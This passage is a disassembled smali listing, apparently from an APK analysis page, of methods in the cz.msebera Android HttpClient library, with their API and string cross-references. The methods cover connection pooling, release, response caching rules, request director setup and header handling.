        114invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager$ConnAdapter;->detach()V
        115monitor-enter p0
        116try_end_a1: iput-object v4, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->managedConn:Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager$ConnAdapter;
        118invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        119move-result-wide v4
        120iput-wide v4, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->lastReleaseTime:J
        121cmp-long v4, p2, v2
        122if-lez v4, :cond_b8
        124invoke-virtual {p4, p2, p3}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J
        125move-result-wide p2
        126iget-wide v0, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->lastReleaseTime:J
        127const/4 p4, 0x0
        128add-long/2addr p2, v0
        129iput-wide p2, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->connectionExpiresTime:J
        130goto/16 :goto_ba
        131cond_b8: iput-wide v0, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->connectionExpiresTime:J
        132goto_ba: monitor-exit p0
        133goto_bb: monitor-exit p1
        134try_end_bc: return-void
        135catchall_bd: move-exception p2
        136try_start_be: monitor-exit p0
        137try_start_bf: throw p2
        138goto_c0:
        139invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager$ConnAdapter;->detach()V
        140monitor-enter p0
        141try_start_c4: iput-object v4, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->managedConn:Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager$ConnAdapter;
        143invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        144move-result-wide v6
        145iput-wide v6, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->lastReleaseTime:J
        146cmp-long v4, p2, v2
        147if-lez v4, :cond_db
        149invoke-virtual {p4, p2, p3}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J
        150move-result-wide p2
        151iget-wide v0, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->lastReleaseTime:J
        152const/4 p4, 0x0
        153add-long/2addr p2, v0
        154iput-wide p2, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->connectionExpiresTime:J
        155goto/16 :goto_dd
        156cond_db: iput-wide v0, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->connectionExpiresTime:J
        157goto_dd: monitor-exit p0
        158try_start_de: throw v5
        159try_end_df: move-exception p2
        160try_start_e0: monitor-exit p0
        161try_end_e1: throw p2
        162catchall_e2: move-exception p2
        163monitor-exit p1
        164try_end_e4: throw p2
        Cross References
        APIs
        • java.lang.String.equals
        • java.lang.Integer.valueOf
        • java.util.Set.contains
        • java.lang.Integer.valueOf
        • java.util.Set.contains
        • java.lang.Integer.parseInt
        • java.lang.String.equals
        Strings
        • GET
        • Response was not cacheable.
        • Content-Length
        • Age
        • Expires
        • Date
        • Vary
        • *
        Position Instruction Meta Information
        1const-string v0, "GET"
        3invoke-virtual {v0, p1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        4move-result p1
        5const/4 v0, 0x0
        6if-nez p1, :cond_11
        8iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/cache/ResponseCachingPolicy;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        10const-string p2, "Response was not cacheable."
        12invoke-virtual {p1, p2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        13return v0
        14cond_11:
        15invoke-interface {p2}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        16move-result-object p1
        18invoke-interface {p1}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        19move-result p1
        21sget-object v1, Lcz/msebera/android/httpclient/impl/client/cache/ResponseCachingPolicy;->cacheableStatuses:Ljava/util/Set;
        23invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
        24move-result-object v2
        26invoke-interface {v1, v2}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
        27move-result v1
        28const/4 v2, 0x1
        29if-eqz v1, :cond_28
        30const/4 p1, 0x1
        31goto/16 :goto_3d
        32cond_28:
        33iget-object v1, p0, Lcz/msebera/android/httpclient/impl/client/cache/ResponseCachingPolicy;->uncacheableStatuses:Ljava/util/Set;
        35invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
        36move-result-object v3
        38invoke-interface {v1, v3}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
        39move-result v1
        40if-eqz v1, :cond_35
        41return v0
        42cond_35:
        43invoke-direct {p0, p1}, Lcz/msebera/android/httpclient/impl/client/cache/ResponseCachingPolicy;->unknownStatusCode(I)Z
        44move-result p1
        45if-eqz p1, :cond_3c
        46return v0
        47cond_3c: const/4 p1, 0x0
        48goto_3d:
        49const-string v1, "Content-Length"
        51invoke-interface {p2, v1}, Lcz/msebera/android/httpclient/HttpResponse;->getFirstHeader(Ljava/lang/String;)Lcz/msebera/android/httpclient/Header;
        52move-result-object v1
        53if-eqz v1, :cond_55
        55invoke-interface {v1}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        56move-result-object v1
        58invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
        59move-result v1
        60int-to-long v3, v1
        61iget-wide v5, p0, Lcz/msebera/android/httpclient/impl/client/cache/ResponseCachingPolicy;->maxObjectSizeBytes:J
        62cmp-long v1, v3, v5
        63if-lez v1, :cond_55
        64return v0
        65cond_55:
        66const-string v1, "Age"
        68invoke-interface {p2, v1}, Lcz/msebera/android/httpclient/HttpResponse;->getHeaders(Ljava/lang/String;)[Lcz/msebera/android/httpclient/Header;
        69move-result-object v1
        70array-length v1, v1
        71if-le v1, v2, :cond_5f
        72return v0
        73cond_5f:
        74const-string v1, "Expires"
        76invoke-interface {p2, v1}, Lcz/msebera/android/httpclient/HttpResponse;->getHeaders(Ljava/lang/String;)[Lcz/msebera/android/httpclient/Header;
        77move-result-object v1
        78array-length v1, v1
        79if-le v1, v2, :cond_69
        80return v0
        81cond_69:
        82const-string v1, "Date"
        84invoke-interface {p2, v1}, Lcz/msebera/android/httpclient/HttpResponse;->getHeaders(Ljava/lang/String;)[Lcz/msebera/android/httpclient/Header;
        85move-result-object v1
        86array-length v3, v1
        87if-eq v3, v2, :cond_73
        88return v0
        89cond_73: aget-object v1, v1, v0
        91invoke-interface {v1}, Lcz/msebera/android/httpclient/Header;->getValue()Ljava/lang/String;
        92move-result-object v1
        94invoke-static {v1}, Lcz/msebera/android/httpclient/client/utils/DateUtils;->parseDate(Ljava/lang/String;)Ljava/util/Date;
        95move-result-object v1
        96if-nez v1, :cond_80
        97return v0
        98cond_80:
        99const-string v1, "Vary"
        101invoke-interface {p2, v1}, Lcz/msebera/android/httpclient/HttpResponse;->getHeaders(Ljava/lang/String;)[Lcz/msebera/android/httpclient/Header;
        102move-result-object v1
        103array-length v3, v1
        104const/4 v4, 0x0
        105goto_88: if-ge v4, v3, :cond_a9
        106aget-object v5, v1, v4
        108invoke-interface {v5}, Lcz/msebera/android/httpclient/Header;->getElements()[Lcz/msebera/android/httpclient/HeaderElement;
        109move-result-object v5
        110array-length v6, v5
        111const/4 v7, 0x0
        112goto_92: if-ge v7, v6, :cond_a6
        113aget-object v8, v5, v7
        115const-string v9, "*"
        117invoke-interface {v8}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        118move-result-object v8
        120invoke-virtual {v9, v8}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        121move-result v8
        122if-eqz v8, :cond_a3
        123return v0
        124cond_a3: add-int/lit8 v7, v7, 0x1
        125goto/16 :goto_92
        126cond_a6: add-int/lit8 v4, v4, 0x1
        127goto/16 :goto_88
        128cond_a9:
        129invoke-virtual {p0, p2}, Lcz/msebera/android/httpclient/impl/client/cache/ResponseCachingPolicy;->isExplicitlyNonCacheable(Lcz/msebera/android/httpclient/HttpResponse;)Z
        130move-result v1
        131if-eqz v1, :cond_b0
        132return v0
        133cond_b0: if-nez p1, :cond_b8
        135invoke-virtual {p0, p2}, Lcz/msebera/android/httpclient/impl/client/cache/ResponseCachingPolicy;->isExplicitlyCacheable(Lcz/msebera/android/httpclient/HttpResponse;)Z
        136move-result p1
        137if-eqz p1, :cond_b9
        138cond_b8: const/4 v0, 0x1
        139cond_b9: return v0
        Cross References
        APIs
        • java.lang.Object.<init>
        Strings
        • Log
        • Request executor
        • Client connection manager
        • Connection reuse strategy
        • Connection keep alive strategy
        • Route planner
        • HTTP protocol processor
        • HTTP request retry handler
        • Redirect strategy
        • Target authentication strategy
        • Proxy authentication strategy
        • User token handler
        • HTTP parameters
        • http.protocol.max-redirects
        Position Instruction Meta Information
        1invoke-direct {p0}, Ljava/lang/Object;-><init>()V
        3const-string v0, "Log"
        5invoke-static {p1, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        7const-string v0, "Request executor"
        9invoke-static {p2, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        11const-string v0, "Client connection manager"
        13invoke-static {p3, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        15const-string v0, "Connection reuse strategy"
        17invoke-static {p4, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        19const-string v0, "Connection keep alive strategy"
        21invoke-static {p5, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        23const-string v0, "Route planner"
        25invoke-static {p6, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        27const-string v0, "HTTP protocol processor"
        29invoke-static {p7, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        31const-string v0, "HTTP request retry handler"
        33invoke-static {p8, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        35const-string v0, "Redirect strategy"
        37invoke-static {p9, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        39const-string v0, "Target authentication strategy"
        41invoke-static {p10, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        43const-string v0, "Proxy authentication strategy"
        45invoke-static {p11, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        47const-string v0, "User token handler"
        49invoke-static {p12, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        51const-string v0, "HTTP parameters"
        53invoke-static {p13, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        54iput-object p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        55new-instance v0, Lcz/msebera/android/httpclient/impl/client/HttpAuthenticator;
        57invoke-direct {v0, p1}, Lcz/msebera/android/httpclient/impl/client/HttpAuthenticator;-><init>(Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;)V
        58iput-object v0, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->authenticator:Lcz/msebera/android/httpclient/impl/client/HttpAuthenticator;
        59iput-object p2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->requestExec:Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        60iput-object p3, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->connManager:Lcz/msebera/android/httpclient/conn/ClientConnectionManager;
        61iput-object p4, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->reuseStrategy:Lcz/msebera/android/httpclient/ConnectionReuseStrategy;
        62iput-object p5, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->keepAliveStrategy:Lcz/msebera/android/httpclient/conn/ConnectionKeepAliveStrategy;
        63iput-object p6, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->routePlanner:Lcz/msebera/android/httpclient/conn/routing/HttpRoutePlanner;
        64iput-object p7, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->httpProcessor:Lcz/msebera/android/httpclient/protocol/HttpProcessor;
        65iput-object p8, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->retryHandler:Lcz/msebera/android/httpclient/client/HttpRequestRetryHandler;
        66iput-object p9, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->redirectStrategy:Lcz/msebera/android/httpclient/client/RedirectStrategy;
        67iput-object p10, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->targetAuthStrategy:Lcz/msebera/android/httpclient/client/AuthenticationStrategy;
        68iput-object p11, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthStrategy:Lcz/msebera/android/httpclient/client/AuthenticationStrategy;
        69iput-object p12, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->userTokenHandler:Lcz/msebera/android/httpclient/client/UserTokenHandler;
        70iput-object p13, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        71instance-of p1, p9, Lcz/msebera/android/httpclient/impl/client/DefaultRedirectStrategyAdaptor;
        72const/4 p2, 0x0
        73if-eqz p1, :cond_73
        74check-cast p9, Lcz/msebera/android/httpclient/impl/client/DefaultRedirectStrategyAdaptor;
        76invoke-virtual {p9}, Lcz/msebera/android/httpclient/impl/client/DefaultRedirectStrategyAdaptor;->getHandler()Lcz/msebera/android/httpclient/client/RedirectHandler;
        77move-result-object p1
        78iput-object p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->redirectHandler:Lcz/msebera/android/httpclient/client/RedirectHandler;
        79goto/16 :goto_75
        80cond_73: iput-object p2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->redirectHandler:Lcz/msebera/android/httpclient/client/RedirectHandler;
        81goto_75: instance-of p1, p10, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyAdaptor;
        82if-eqz p1, :cond_82
        83check-cast p10, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyAdaptor;
        85invoke-virtual {p10}, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyAdaptor;->getHandler()Lcz/msebera/android/httpclient/client/AuthenticationHandler;
        86move-result-object p1
        87iput-object p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->targetAuthHandler:Lcz/msebera/android/httpclient/client/AuthenticationHandler;
        88goto/16 :goto_84
        89cond_82: iput-object p2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->targetAuthHandler:Lcz/msebera/android/httpclient/client/AuthenticationHandler;
        90goto_84: instance-of p1, p11, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyAdaptor;
        91if-eqz p1, :cond_91
        92check-cast p11, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyAdaptor;
        94invoke-virtual {p11}, Lcz/msebera/android/httpclient/impl/client/AuthenticationStrategyAdaptor;->getHandler()Lcz/msebera/android/httpclient/client/AuthenticationHandler;
        95move-result-object p1
        96iput-object p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthHandler:Lcz/msebera/android/httpclient/client/AuthenticationHandler;
        97goto/16 :goto_93
        98cond_91: iput-object p2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthHandler:Lcz/msebera/android/httpclient/client/AuthenticationHandler;
        99goto_93: iput-object p2, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->managedConn:Lcz/msebera/android/httpclient/conn/ManagedClientConnection;
        100const/4 p1, 0x0
        101iput p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->execCount:I
        102iput p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->redirectCount:I
        103new-instance p1, Lcz/msebera/android/httpclient/auth/AuthState;
        105invoke-direct {p1}, Lcz/msebera/android/httpclient/auth/AuthState;-><init>()V
        106iput-object p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->targetAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        107new-instance p1, Lcz/msebera/android/httpclient/auth/AuthState;
        109invoke-direct {p1}, Lcz/msebera/android/httpclient/auth/AuthState;-><init>()V
        110iput-object p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->proxyAuthState:Lcz/msebera/android/httpclient/auth/AuthState;
        112iget-object p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->params:Lcz/msebera/android/httpclient/params/HttpParams;
        114const-string p2, "http.protocol.max-redirects"
        115const/16 p3, 0x64
        117invoke-interface {p1, p2, p3}, Lcz/msebera/android/httpclient/params/HttpParams;->getIntParameter(Ljava/lang/String;I)I
        118move-result p1
        119iput p1, p0, Lcz/msebera/android/httpclient/impl/client/DefaultRequestDirector;->maxRedirects:I
        120return-void
        Cross References
        APIs
        • java.util.concurrent.Future.get
        • java.util.concurrent.Future.isCancelled
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.InterruptedException.<init>
        • cz.msebera.android.httpclient.conn.ConnectionPoolTimeoutException.<init>
        • java.util.concurrent.ExecutionException.getCause
        • java.lang.InterruptedException.<init>
        Strings
        • Pool entry with no connection
        • Connection leased:
        • Timeout waiting for connection from pool
        • Unexpected exception leasing connection from pool
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Ljava/util/concurrent/Future<",
        4"Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;",
        5">;J",
        6"Ljava/util/concurrent/TimeUnit;",
        7")",
        8"Lcz/msebera/android/httpclient/conn/ManagedClientConnection;"
        9}
        10.end annotation
        11.annotation system Ldalvik/annotation/Throws;
        12value = {
        13Ljava/lang/InterruptedException;,
        14Lcz/msebera/android/httpclient/conn/ConnectionPoolTimeoutException;
        15}
        16.end annotation
        17try_start_0:
        18invoke-interface {p1, p2, p3, p4}, Ljava/util/concurrent/Future;->get(JLjava/util/concurrent/TimeUnit;)Ljava/lang/Object;
        19move-result-object p2
        20check-cast p2, Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;
        21if-eqz p2, :cond_53
        23invoke-interface {p1}, Ljava/util/concurrent/Future;->isCancelled()Z
        24move-result p1
        25if-nez p1, :cond_53
        27invoke-virtual {p2}, Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;->getConnection()Ljava/lang/Object;
        28move-result-object p1
        29if-eqz p1, :cond_16
        30const/4 p1, 0x1
        31goto/16 :goto_17
        32cond_16: const/4 p1, 0x0
        33goto_17:
        34const-string p3, "Pool entry with no connection"
        36invoke-static {p1, p3}, Lcz/msebera/android/httpclient/util/Asserts;->check(ZLjava/lang/String;)V
        38iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        40invoke-virtual {p1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        41move-result p1
        42if-eqz p1, :cond_4b
        44iget-object p1, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        45new-instance p3, Ljava/lang/StringBuilder;
        47invoke-direct {p3}, Ljava/lang/StringBuilder;-><init>()V
        49const-string p4, "Connection leased: "
        51invoke-virtual {p3, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        53invoke-direct {p0, p2}, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->format(Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;)Ljava/lang/String;
        54move-result-object p4
        56invoke-virtual {p3, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        58invoke-virtual {p2}, Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;->getRoute()Ljava/lang/Object;
        59move-result-object p4
        60check-cast p4, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;
        62invoke-direct {p0, p4}, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->formatStats(Lcz/msebera/android/httpclient/conn/routing/HttpRoute;)Ljava/lang/String;
        63move-result-object p4
        65invoke-virtual {p3, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        67invoke-virtual {p3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        68move-result-object p3
        70invoke-virtual {p1, p3}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        71cond_4b: new-instance p1, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;
        73iget-object p3, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->operator:Lcz/msebera/android/httpclient/conn/ClientConnectionOperator;
        75invoke-direct {p1, p0, p3, p2}, Lcz/msebera/android/httpclient/impl/conn/ManagedClientConnectionImpl;-><init>(Lcz/msebera/android/httpclient/conn/ClientConnectionManager;Lcz/msebera/android/httpclient/conn/ClientConnectionOperator;Lcz/msebera/android/httpclient/impl/conn/HttpPoolEntry;)V
        76return-object p1
        77cond_53: new-instance p1, Ljava/lang/InterruptedException;
        79invoke-direct {p1}, Ljava/lang/InterruptedException;-><init>()V
        80throw p1
        81try_end_59: new-instance p1, Lcz/msebera/android/httpclient/conn/ConnectionPoolTimeoutException;
        83const-string p2, "Timeout waiting for connection from pool"
        85invoke-direct {p1, p2}, Lcz/msebera/android/httpclient/conn/ConnectionPoolTimeoutException;-><init>(Ljava/lang/String;)V
        86throw p1
        87catch_61: move-exception p1
        89invoke-virtual {p1}, Ljava/util/concurrent/ExecutionException;->getCause()Ljava/lang/Throwable;
        90move-result-object p2
        91if-nez p2, :cond_69
        92goto/16 :goto_6a
        93cond_69: move-object p1, p2
        94goto_6a:
        95iget-object p2, p0, Lcz/msebera/android/httpclient/impl/conn/PoolingClientConnectionManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        97const-string p3, "Unexpected exception leasing connection from pool"
        99invoke-virtual {p2, p3, p1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->error(Ljava/lang/Object;Ljava/lang/Throwable;)V
        100new-instance p1, Ljava/lang/InterruptedException;
        102invoke-direct {p1}, Ljava/lang/InterruptedException;-><init>()V
        103throw p1
        Cross References
        APIs
        • java.util.ArrayList.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.String.equalsIgnoreCase
        • java.lang.StringBuilder.append
        • java.lang.Object.toString
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.String.equals
        • java.util.List.add
        • java.util.List.iterator
        • java.util.Iterator.hasNext
        • java.util.Iterator.next
        Strings
        • Content-Encoding
        • identity
        • ,
        Position Instruction Meta Information
        0move-object/from16 v0, p1
        2const-string v1, "Content-Encoding"
        4invoke-interface {v0, v1}, Lcz/msebera/android/httpclient/HttpResponse;->getHeaders(Ljava/lang/String;)[Lcz/msebera/android/httpclient/Header;
        5move-result-object v1
        6if-eqz v1, :cond_85
        7array-length v2, v1
        8if-nez v2, :cond_f
        9goto/16 :goto_85
        10cond_f: new-instance v2, Ljava/util/ArrayList;
        12invoke-direct {v2}, Ljava/util/ArrayList;-><init>()V
        13array-length v3, v1
        14const/4 v4, 0x0
        15const/4 v5, 0x0
        16const/4 v6, 0x0
        17goto_18: if-ge v5, v3, :cond_68
        18aget-object v7, v1, v5
        19new-instance v8, Ljava/lang/StringBuilder;
        21invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
        23invoke-interface {v7}, Lcz/msebera/android/httpclient/Header;->getElements()[Lcz/msebera/android/httpclient/HeaderElement;
        24move-result-object v7
        25array-length v9, v7
        26const/4 v10, 0x1
        27move v12, v6
        28const/4 v6, 0x0
        29const/4 v11, 0x1
        30goto_2a: if-ge v6, v9, :cond_4e
        31aget-object v13, v7, v6
        33const-string v14, "identity"
        35invoke-interface {v13}, Lcz/msebera/android/httpclient/HeaderElement;->getName()Ljava/lang/String;
        36move-result-object v15
        38invoke-virtual {v14, v15}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
        39move-result v14
        40if-eqz v14, :cond_3c
        41const/4 v12, 0x1
        42goto/16 :goto_4b
        43cond_3c: if-nez v11, :cond_43
        45const-string v11, ","
        47invoke-virtual {v8, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        48cond_43:
        49invoke-virtual {v13}, Ljava/lang/Object;->toString()Ljava/lang/String;
        50move-result-object v11
        52invoke-virtual {v8, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        53const/4 v11, 0x0
        54goto_4b: add-int/lit8 v6, v6, 0x1
        55goto/16 :goto_2a
        56cond_4e:
        57invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        58move-result-object v6
        60const-string v7, ""
        62invoke-virtual {v7, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        63move-result v7
        64if-nez v7, :cond_64
        65new-instance v7, Lcz/msebera/android/httpclient/message/BasicHeader;
        67const-string v8, "Content-Encoding"
        69invoke-direct {v7, v8, v6}, Lcz/msebera/android/httpclient/message/BasicHeader;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        71invoke-interface {v2, v7}, Ljava/util/List;->add(Ljava/lang/Object;)Z
        72cond_64: add-int/lit8 v5, v5, 0x1
        73move v6, v12
        74goto/16 :goto_18
        75cond_68: if-nez v6, :cond_6b
        76return-void
        77cond_6b:
        78const-string v1, "Content-Encoding"
        80invoke-interface {v0, v1}, Lcz/msebera/android/httpclient/HttpResponse;->removeHeaders(Ljava/lang/String;)V
        82invoke-interface {v2}, Ljava/util/List;->iterator()Ljava/util/Iterator;
        83move-result-object v1
        84goto_74:
        85invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
        86move-result v2
        87if-eqz v2, :cond_84
        89invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
        90move-result-object v2
        91check-cast v2, Lcz/msebera/android/httpclient/Header;
        93invoke-interface {v0, v2}, Lcz/msebera/android/httpclient/HttpResponse;->addHeader(Lcz/msebera/android/httpclient/Header;)V
        94goto/16 :goto_74
        95cond_84: return-void
        96goto_85: return-void
        Cross References
        APIs
        • java.util.Map.get
        • java.lang.String.length
        • java.util.Map.get
        • java.lang.String.length
        • java.lang.String.equals
        • java.util.Map.get
        • java.lang.String.length
        • java.lang.String.equals
        • java.lang.Object.toString
        Strings
        • Package identifier
        • info.module
        • info.release
        • ${pom.version}
        • info.timestamp
        • ${mvn.timestamp}
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Signature;
        1value = {
        2"(",
        3"Ljava/lang/String;",
        4"Ljava/util/Map<",
        5"**>;",
        6"Ljava/lang/ClassLoader;",
        7")",
        8"Lcz/msebera/android/httpclient/util/VersionInfo;"
        9}
        10.end annotation
        12const-string v0, "Package identifier"
        14invoke-static {p0, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        15const/4 v0, 0x0
        16if-eqz p1, :cond_51
        18const-string v1, "info.module"
        20invoke-interface {p1, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
        21move-result-object v1
        22check-cast v1, Ljava/lang/String;
        23const/4 v2, 0x1
        24if-eqz v1, :cond_1a
        26invoke-virtual {v1}, Ljava/lang/String;->length()I
        27move-result v3
        28if-ge v3, v2, :cond_1a
        29move-object v1, v0
        30cond_1a:
        31const-string v3, "info.release"
        33invoke-interface {p1, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
        34move-result-object v3
        35check-cast v3, Ljava/lang/String;
        36if-eqz v3, :cond_33
        38invoke-virtual {v3}, Ljava/lang/String;->length()I
        39move-result v4
        40if-lt v4, v2, :cond_32
        42const-string v4, "${pom.version}"
        44invoke-virtual {v3, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
        45move-result v4
        46if-eqz v4, :cond_33
        47cond_32: move-object v3, v0
        48cond_33:
        49const-string v4, "info.timestamp"
        51invoke-interface {p1, v4}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
        52move-result-object p1
        53check-cast p1, Ljava/lang/String;
        54if-eqz p1, :cond_4d
        56invoke-virtual {p1}, Ljava/lang/String;->length()I
        57move-result v4
        58if-lt v4, v2, :cond_4b
        60const-string v2, "${mvn.timestamp}"
